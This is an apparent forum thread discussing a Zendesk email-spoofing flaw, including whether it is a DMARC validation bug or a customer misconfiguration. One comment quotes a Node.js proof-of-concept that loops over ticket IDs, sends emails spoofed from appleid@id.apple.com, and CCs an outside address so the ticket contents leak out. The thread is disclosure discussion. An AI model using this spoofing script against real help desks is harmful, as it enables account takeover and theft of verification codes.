> Create an Apple account with support@company.com email and request a verification code, Apple sends verification code from appleid@id.apple.com to support@company.com and Zendesk automatically creates a ticket
I agree with your point, but that email's not the best example because it would have passed SPF/DMARC/DKIM. It's a step or two later that involved sending a spoofed email from appleid@id.apple.com :
const sendmail = require('sendmail')();
// Assuming the ticket you created in step #2 was assigned a ticket ID of #453
// verification email landed somewhere near there
const range = [448, 457];
for (let i = range[0]; i < range[1]; i++) {
// Send spoofed emails from Apple to Zendesk
sendmail({
from: 'appleid@id.apple.com',
to: `support+id${i}@company.com`,
cc: 'daniel@wearehackerone.com',
subject: '',
html: 'comment body',
}, function (err, reply) {
console.log(err && err.stack)
console.dir(reply)
});
};
This is exactly my point: if Apple has SPF/DKIM/DMARC configured correctly, then Zendesk should be validating the email sender. That they didn't is technically an SPF/DKIM/DMARC issue - a bug in Zendesk - but it is not a customer misconfiguration issue.
I wonder how redirects from support@company.com to zendesk work? if it's via MX records pointing to zendesk that it's zendesk's fault for not checking DMARC
If it's another type of redirect then yes, you can blame customers for not verifying DMARC
Read the repro steps again:

It's a clever attack.
